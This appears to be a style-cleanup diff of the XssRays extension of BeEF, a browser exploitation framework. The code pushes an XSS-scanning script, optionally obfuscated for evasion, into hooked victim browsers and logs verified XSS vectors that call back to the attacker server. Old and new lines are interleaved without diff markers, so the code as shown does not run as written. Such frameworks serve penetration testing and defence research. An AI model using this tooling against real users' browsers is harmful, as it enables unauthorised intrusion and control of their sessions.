ws = BeEF::Core::Websocket::Websocket.instance
# todo antisnatchor: prevent sending "content" multiple times.
# TODO: antisnatchor: prevent sending "content" multiple times.
# Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
# If we use WebSockets, just reply wih the component contents
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.xssrays').gsub('//
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path('beef.net.xssrays')).gsub('//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file \'doc/COPYING\' for copying permission
//', "")
//', '')
add_to_body xs.id, hb.session, beefurl, cross_domain, timeout
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
ws.send(evasion.obfuscate(content) + @body, hb.session)
else
@@ -65,19 +62,18 @@ module BeEF
end
print_debug("[XSSRAYS] Adding XssRays to the DOM. Scan id [#{xs.id}], started at [#{xs.scan_start}], cross domain [#{cross_domain}], clean timeout [#{timeout}].")
end
def add_to_body(id, session, beefurl, cross_domain, timeout)
config = BeEF::Core::Configuration.instance
req = %Q{
req = %{
beef.execute(function() {
beef.net.xssrays.startScan('#{id}', '#{session}', '#{beefurl}', #{cross_domain}, #{timeout});
});
}
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req)
else

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Xssrays
end
end
module Extension
module Xssrays
end
end
end
require 'extensions/xssrays/models/xssraysscan'
@@ -17,4 +16,3 @@ require 'extensions/xssrays/api/scan'
require 'extensions/xssrays/handler'
require 'extensions/xssrays/api'
require 'extensions/xssrays/rest/xssrays'

View File

@@ -6,9 +6,7 @@
module BeEF
module Extension
module Xssrays
class Handler < BeEF::Core::Router::Router
XS = BeEF::Core::Models::Xssraysscan
XD = BeEF::Core::Models::Xssraysdetail
HB = BeEF::Core::Models::HookedBrowser
@@ -18,15 +16,15 @@ module BeEF
# raise an error if it's null or not found in the DB
beef_hook = params[:hbsess] || nil
if beef_hook.nil? || HB.where(:session => beef_hook).first.nil?
print_error "[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database"
if beef_hook.nil? || HB.where(session: beef_hook).first.nil?
print_error '[XSSRAYS] Invalid beef hook ID: the hooked browser cannot be found in the database'
return
end
# verify the specified ray ID is valid
rays_scan_id = params[:raysid] || nil
if rays_scan_id.nil? || !BeEF::Filters::nums_only?(rays_scan_id)
print_error "[XSSRAYS] Invalid ray ID"
if rays_scan_id.nil? || !BeEF::Filters.nums_only?(rays_scan_id)
print_error '[XSSRAYS] Invalid ray ID'
return
end
@@ -39,34 +37,33 @@ module BeEF
finalize_scan(rays_scan_id)
else
# invalid action
print_error "[XSSRAYS] Invalid action"
print_error '[XSSRAYS] Invalid action'
return
end
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST,GET'
headers 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0',
'Access-Control-Allow-Origin' => '*',
'Access-Control-Allow-Methods' => 'POST,GET'
end
# parse incoming rays: rays are verified XSS, as the attack vector is calling back BeEF when executed.
def parse_rays(rays_scan_id)
xssrays_scan = XS.find(rays_scan_id)
hooked_browser = HB.where(:session => params[:hbsess]).first
hooked_browser = HB.where(session: params[:hbsess]).first
if xssrays_scan.nil?
print_error "[XSSRAYS] Invalid scan"
print_error '[XSSRAYS] Invalid scan'
return
end
xssrays_detail = XD.new(
:hooked_browser_id => hooked_browser.session,
:vector_name => params[:n],
:vector_method => params[:m],
:vector_poc => params[:p],
:xssraysscan_id => xssrays_scan.id
hooked_browser_id: hooked_browser.session,
vector_name: params[:n],
vector_method: params[:m],
vector_poc: params[:p],
xssraysscan_id: xssrays_scan.id
)
xssrays_detail.save
@@ -79,11 +76,11 @@ module BeEF
xssrays_scan = BeEF::Core::Models::Xssraysscan.find(rays_scan_id)
if xssrays_scan.nil?
print_error "[XSSRAYS] Invalid scan"
print_error '[XSSRAYS] Invalid scan'
return
end
xssrays_scan.update(:is_finished => true, :scan_finish => Time.now)
xssrays_scan.update(is_finished: true, scan_finish: Time.now)
print_info("[XSSRAYS] Scan id [#{xssrays_scan.id}] finished at [#{xssrays_scan.scan_finish}]")
end
end

View File

@@ -4,16 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Store the rays details, basically verified XSS vulnerabilities
#
class Xssraysdetail < BeEF::Core::Model
belongs_to :hooked_browser
belongs_to :xssraysscan
module Core
module Models
#
# Store the rays details, basically verified XSS vulnerabilities
#
class Xssraysdetail < BeEF::Core::Model
belongs_to :hooked_browser
belongs_to :xssraysscan
end
end
end
end
end
end

View File

@@ -4,17 +4,14 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
#
# Store the XssRays scans started and finished, with relative ID
#
class Xssraysscan < BeEF::Core::Model
has_many :xssrays_details
module Core
module Models
#
# Store the XssRays scans started and finished, with relative ID
#
class Xssraysscan < BeEF::Core::Model
has_many :xssrays_details
end
end
end
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Xssrays
# This class handles the routing of RESTful API requests for XSSRays
class XssraysRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -18,9 +16,9 @@ module BeEF
halt 401 unless params[:token] == config.get('beef.api_token')
halt 403 unless BeEF::Core::Rest.permitted_source?(request.ip)
CLEAN_TIMEOUT = config.get("beef.extension.xssrays.clean_timeout") || 3_000
CROSS_DOMAIN = config.get("beef.extension.xssrays.cross_domain") || true
CLEAN_TIMEOUT = config.get('beef.extension.xssrays.clean_timeout') || 3_000
CROSS_DOMAIN = config.get('beef.extension.xssrays.cross_domain') || true
HB = BeEF::Core::Models::HookedBrowser
XS = BeEF::Core::Models::Xssraysscan
XD = BeEF::Core::Models::Xssraysdetail
@@ -33,142 +31,133 @@ module BeEF
# Returns the entire list of rays for all zombies
get '/rays' do
begin
rays = XD.all.distinct.order(:id)
count = rays.length
rays = XD.all.distinct.order(:id)
count = rays.length
result = {}
result[:count] = count
result[:rays] = []
rays.each do |ray|
result[:rays] << ray2hash(ray)
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving rays (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:rays] = []
rays.each do |ray|
result[:rays] << ray2hash(ray)
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving rays (#{e.message})"
halt 500
end
# Returns all rays given a specific hooked browser id
get '/rays/:id' do
begin
id = params[:id]
id = params[:id]
rays = XD.where(:hooked_browser_id => id).distinct.order(:id)
count = rays.length
rays = XD.where(hooked_browser_id: id).distinct.order(:id)
count = rays.length
result = {}
result[:count] = count
result[:rays] = []
rays.each do |ray|
result[:rays] << ray2hash(ray)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:rays] = []
rays.each do |ray|
result[:rays] << ray2hash(ray)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving rays list for hooked browser with id #{id} (#{e.message})"
halt 500
end
# Returns the entire list of scans for all zombies
get '/scans' do
begin
scans = XS.distinct.order(:id)
count = scans.length
scans = XS.distinct.order(:id)
count = scans.length
result = {}
result[:count] = count
result[:scans] = []
scans.each do |scan|
result[:scans] << scan2hash(scan)
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving scans (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:scans] = []
scans.each do |scan|
result[:scans] << scan2hash(scan)
end
result.to_json
rescue StandardError => e
print_error "Internal error while retrieving scans (#{e.message})"
halt 500
end
# Returns all scans given a specific hooked browser id
get '/scans/:id' do
begin
id = params[:id]
id = params[:id]
scans = XS.where(:hooked_browser_id => id).distinct.order(:id)
count = scans.length
scans = XS.where(hooked_browser_id: id).distinct.order(:id)
count = scans.length
result = {}
result[:count] = count
result[:scans] = []
scans.each do |scans|
result[:scans] << scan2hash(scan)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
halt 500
result = {}
result[:count] = count
result[:scans] = []
scans.each do |_scans|
result[:scans] << scan2hash(scan)
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while retrieving scans list for hooked browser with id #{id} (#{e.message})"
halt 500
end
# Starts a new scan on the specified zombie ID
post '/scan/:id' do
begin
id = params[:id]
id = params[:id]
hooked_browser = HB.where(:session => id).distinct.order(:id).first
hooked_browser = HB.where(session: id).distinct.order(:id).first
if hooked_browser.nil?
print_error "[XSSRAYS] Invalid hooked browser ID"
return
end
# set Cross-domain settings
cross_domain = params[:cross_domain].to_s
if cross_domain == ''
cross_domain = CROSS_DOMAIN
elsif cross_domain == 'false'
cross_domain = false
else
cross_domain = true
end
# set clean timeout settings
clean_timeout = params[:clean_timeout].to_s
if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
clean_timeout = CLEAN_TIMEOUT
end
xssrays_scan = XS.new(
:hooked_browser_id => hooked_browser.id,
:scan_start => Time.now,
:domain => hooked_browser.domain,
# check also cross-domain URIs found by the crawler
:cross_domain => cross_domain,
# how long to wait before removing the iFrames from the DOM (5000ms default)
:clean_timeout => clean_timeout
)
xssrays_scan.save
print_info("[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], hooked domain [#{hooked_browser.domain}], cross-domain: #{cross_domain}, clean timeout: #{clean_timeout}")
result = scan2hash(xssrays_scan)
print_debug "[XSSRays] New scan: #{result}"
#result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
halt 500
if hooked_browser.nil?
print_error '[XSSRAYS] Invalid hooked browser ID'
return
end
# set Cross-domain settings
cross_domain = params[:cross_domain].to_s
cross_domain = if cross_domain == ''
CROSS_DOMAIN
else
cross_domain != 'false'
end
# set clean timeout settings
clean_timeout = params[:clean_timeout].to_s
clean_timeout = CLEAN_TIMEOUT if clean_timeout == '' || !Filters.alphanums_only?(clean_timeout)
xssrays_scan = XS.new(
hooked_browser_id: hooked_browser.id,
scan_start: Time.now,
domain: hooked_browser.domain,
# check also cross-domain URIs found by the crawler
cross_domain: cross_domain,
# how long to wait before removing the iFrames from the DOM (5000ms default)
clean_timeout: clean_timeout
)
xssrays_scan.save
print_info(
"[XSSRays] Starting XSSRays [ip:#{hooked_browser.ip}], " \
"hooked domain [#{hooked_browser.domain}], " \
"cross-domain: #{cross_domain}, " \
"clean timeout: #{clean_timeout}"
)
result = scan2hash(xssrays_scan)
print_debug "[XSSRays] New scan: #{result}"
# result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
rescue StandardError => e
print_error "Internal error while creating XSSRays scan on zombie with id #{id} (#{e.message})"
halt 500
end
private
@@ -176,32 +165,32 @@ module BeEF
# Convert a ray object to JSON
def ray2hash(ray)
{
:id => ray.id,
:hooked_browser_id => ray.hooked_browser_id,
:vector_name => ray.vector_name,
:vector_method => ray.vector_method,
:vector_poc => ray.vector_poc
id: ray.id,
hooked_browser_id: ray.hooked_browser_id,
vector_name: ray.vector_name,
vector_method: ray.vector_method,
vector_poc: ray.vector_poc
}
end
# Convert a scan object to JSON
def scan2hash(scan)
{
:id => scan.id,
:hooked_browser_id => scan.hooked_browser_id,
:scan_start=> scan.scan_start,
:scan_finish=> scan.scan_finish,
:domain => scan.domain,
:cross_domain => scan.cross_domain,
:clean_timeout => scan.clean_timeout,
:is_started => scan.is_started,
:is_finished => scan.is_finished
id: scan.id,
hooked_browser_id: scan.hooked_browser_id,
scan_start: scan.scan_start,
scan_finish: scan.scan_finish,
domain: scan.domain,
cross_domain: scan.cross_domain,
clean_timeout: scan.clean_timeout,
is_started: scan.is_started,
is_finished: scan.is_finished
}
end
# Raised when invalid JSON input is passed to an /api/xssrays handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/xssrays handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
@@ -210,11 +199,11 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/xssrays handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/xssrays handler'.freeze
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/xssrays handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/xssrays handler'
message = format str, message unless message.nil?
super(message)
end
end